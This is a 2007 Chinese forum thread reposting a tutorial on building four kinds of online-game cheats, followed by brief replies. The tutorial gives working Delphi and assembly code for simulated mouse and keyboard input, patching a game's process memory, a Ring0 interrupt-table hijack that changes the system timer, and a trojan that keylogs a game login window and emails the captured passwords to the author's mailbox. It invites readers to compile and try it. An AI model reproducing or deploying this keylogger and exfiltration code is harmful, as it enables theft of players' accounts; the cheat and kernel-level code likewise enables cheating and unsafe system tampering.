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ender049



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5come5帮你背单词 [ plot /plot/ n. 情节,阴谋,小块土地;vt. 密谋,策划,标出;vi. 密谋,策划 ]


【转】四种网络游戏[屏蔽]的设计方法

在几[屏蔽]我看到别人玩网络游戏用上了[屏蔽],做为程序员的我心里实在是不爽,想搞清楚这
到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,[屏蔽]无非就是分几种
罢了(依制作难度):

  1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里
的人物进行流动或者攻击,最早以前的“石器”[屏蔽]就是这种方式。(这种[屏蔽]完全是垃圾
,TMD,只要会一点点API的人都知道该怎么做,不过这种[屏蔽]也是入gate级的好东东,虽然不
能提高你的战斗力,但是可以提高你的士气)

  2、本地修改式,这种[屏蔽]跟传统上的一些游戏修改器没有两样,做这种[屏蔽]在编程只需
要对内存地址有一点认识并且掌握API就可以实现,“精灵”的[屏蔽]这是这种方式写成的,它
的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,
正正找起来会比较困难。(这种[屏蔽],比上一种有一点点难度,但是这种[屏蔽]做起来能够用
,也是有一定难度的啦~~,这种[屏蔽]可以很快提升你对内存地址的理解及应用,是你编程技
术提高的好东东)

  3、木马式,这种[屏蔽]的目的是帮[屏蔽]制作者偷到用户的密码(TMD,“烂”就一个字,
不过要知已知彼所以还是要谈一下啦~~),做这种[屏蔽]有一定的难度,需要HOOK或键盘监视
技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。(
我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万别用
呀!)

  4、加速式,这种[屏蔽]可以加快游戏的速度……(对不起大家,这种东东我没有实际做过
,所以不能妄自评,惭愧)

  这几种[屏蔽]之中,前三种可以用VB,Delphi等语言比较好实现,后两种则要用VC等底层
支持比较好的编程工具才好实现。

  动作式[屏蔽]

  首先,先来谈一下动作式的[屏蔽],这也是我第一次写[屏蔽]时做的最简单的一种。

  记得还在“石器”时代的时候,我看到别人挂着一种软件([屏蔽])人物就可以四外游走
(当时我还不知道[屏蔽]怎么回事),于是找了这种软件过来研究(拿来后才听别人说这叫外
挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地
方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实
现这几个功能,只需要几个简单的API函数就可以搞定:

  1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到A
PI函数GetCursorPos,它的使用方法如下:

BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
);

   2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移
动鼠标位置,它的使用方法如下:

BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);

  3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方
法用下:

VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);

  在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_L
EFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~

   好了,有了前面的知识,我们就可以来看看人物移走是怎么实现的了:

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机
坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);

  看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以
用这个技巧实现(我早就说过,TMD,这是垃圾[屏蔽]的做法,相信了吧~~~),接下来,再看
看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用
的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:


VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);

  我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,Map
VirtualKey的具体使用方法如下:

UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);

  好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

  首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一
个模拟按快捷键的周期。

  (看到这里,差不多对简易[屏蔽]有了一定的了解了吧~~~~做一个试试?如果你举一仿三
还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以
后还有更复杂的东东等着你呢~~)

  本地修改式[屏蔽]

  现在我们来看看,比动作式[屏蔽]更进一步的[屏蔽]——本地修改式[屏蔽]的整个制作过程进
行一个详细的分解。

  具我所知,本地修改式[屏蔽]最典型的应用就是在“精灵”游戏上面,因为我在近一[屏蔽]
(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏
的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是
:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之
前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法
修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内
存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类[屏蔽]是如何制作的:

  在做[屏蔽]之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系
统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows
API进行了解,OK,跟着例子让我们看清楚这种[屏蔽]的制作和API的应用(为了保证网络游戏
的正常运行,我就不把找内存地址的方法详细解说了):

  1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运
行后所在进程的ID,下面就是FindWindow的用法:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

  2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下


DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);

  3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProce
ss的具体使用方法如下:

HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);

  在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只
要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。

  4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProces
sMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在
这里就不一一介绍了),我们看一下WriteProcessMemory的用法:

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);

  5、下面用CloseHandle关闭进程句柄就完成了。

  这就是这类游戏[屏蔽]的程序实现部份的方法,好了,有了此方法,我们就有了理性的认
识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的[屏蔽]代码,我们照
上面的方法对应去研究一下吧:

const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), t
t);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), t
t);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), t
t);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), t
t);
end;
MessageBeep(0);
CloseHandle(h);
close;

  这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏[屏蔽]制作并不是
很难,最难的是要找到这些地址。

  木马式[屏蔽]

  木马式[屏蔽],可能大多像木马吧,是帮助做[屏蔽]的人偷取别人游戏的帐号及密码的东东
。因为网络上有此类[屏蔽]的存在,所以今天不得不说一下(我个人是非常讨厌这类[屏蔽]的,
请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类[屏蔽]的程序实现方法很多(
比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上
需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监
视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适
合。

  在做程序之前我们必需要了解一下程序的思路:

  1、我们首先知道你想记录游戏的登录窗口名称。

  2、判断登录窗口是否出现。

  3、如果登录窗口出现,就记录键盘。

  4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

  第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称
是什么。从第二点开始,我们就开始这类[屏蔽]的程序实现之旅:

  那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数
就可以很轻松的实现了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

  实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于
0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。

  先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);

  在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实
现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

  而HOOKPROC里的函数就要复杂一点点:

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdc
all;
begin
if findedtitle then file://如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lp
aram)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息
参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then file://如果获得按键名称
begin
Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
hookkey := '';
end;
end;
end;

  以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindow
sHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。

  我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大
功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的
电子邮件组件发一下就万事OK了。代码如下:

assignfile(ReadFile,'hook.txt'); file://打开hook.txt这个文本文件
reset(ReadFile); file://设为读取方式
try
While not Eof(ReadFile) do file://当没有读到文件尾
begin
Readln(ReadFile,s,j); file://读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); file://关闭文件
end;
nmsmtp1.EncodeType:=uuMime; file://设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; file://设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; file://设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; file://设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; file://设置邮件标题
nmsmtp1.SendMail; file://发送邮件

  这个程序全部功能已经实现,编编试试。

  加速型[屏蔽]

  原本我一直以为加速[屏蔽]是针对某个游戏而写的,后来发现我这种概念是不对的,所谓
加速[屏蔽]其实是修改时钟频率达到加速的目的。

  以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛
,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,
并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改),但要改也
不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring
0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表->创建一个中断gate
->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级
语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~

  在实现之前我们来理一下思路吧:

  1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断gate,
修改向量等工作

  2、调用这个过程来实现加速功能

  好了,现在思路有了,我们就边看代码边讲解吧:

  首先我们建立一个过程,这个过程就是本程序的核心部份:

procedure SetRing(value:word); stdcall;
const ZDH = $03; // 设一个中断号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放旧向量
begin
asm
push ebx
sidt IDT //读入中断描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //计算中断在中断描述符表中的位置
cli //关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0级代码段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中断
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢复被改了的向量
pop ebx
jmp @@exitasm //到exitasm处
@@Ring0: //Ring0,这个也是最最最核心的东东
mov al,$34 //写入8253控制寄存器
out $43,al
mov ax,value //写入定时值
out $40,al //写定时值低位
mov al,ah
out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;

  最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所
以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!

  先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Positio
n设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

  因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越
慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只
适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。

  在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想
到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就
能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实
现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现
加速[屏蔽]。

  1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org

  2、我们要把里面的prottalk.sys拷贝出来。

  3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/
liuyue/porttalk.pas下个pas文件自己看吧)

  4、实现加速[屏蔽]。

  下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win9
8下用ring权限操作方便。

  1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹
下。

  2、我们在我们新建的工程加入我们的接口文件

uses
windows,ProtTalk……

  3、我们建立一个过程

procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

  4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Posi
tion设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

  就这么容易。
顶端 Posted: 2007-01-19 10:29 | [楼 主]
disneycheng



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5come5帮你背单词 [ nitrogen /'naitrid3ən/ n. 氮 ]


楼主。。。无语中。。。
顶端 Posted: 2007-01-19 10:54 | [1 楼]
disneycheng



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5come5帮你背单词 [ her /hə:, hə/ pron. 她的 ]


lz是来赚fy的。。。
顶端 Posted: 2007-01-19 10:55 | [2 楼]
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呵呵~~差不多吧~~这三个帖子的确是比较老的东西了~~
顶端 Posted: 2007-01-19 11:01 | [3 楼]
1110010010





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恩....什么本地修改的,现在没哪款网游可以用了
顶端 Posted: 2007-01-19 11:49 | [4 楼]
newton



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现在的[屏蔽]越来越没有价值了。。。
顶端 Posted: 2007-03-03 11:55 | [5 楼]
luwen



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没前途得[屏蔽]啊
顶端 Posted: 2007-03-03 23:19 | [6 楼]
るーこ



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支持一个..不过[屏蔽]还有其他常用的方法.如改IP包
顶端 Posted: 2007-03-05 18:19 | [7 楼]
chsml



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其实做[屏蔽]就是找到游戏程序中的有用函数和函数调用方法,然后再自己的程序中用
钩一些函数让我们取得控制权
扫描一些内存数据 修改或作为事件通知
顶端 Posted: 2007-03-10 00:06 | [8 楼]
victorsss





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又受教了
顶端 Posted: 2007-03-14 14:13 | [9 楼]
disneycheng



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[屏蔽]本来就没价值。呵呵。。。
还不如自己去做。。。之类更有价值的咚咚了。。。
顶端 Posted: 2007-03-14 14:29 | [10 楼]
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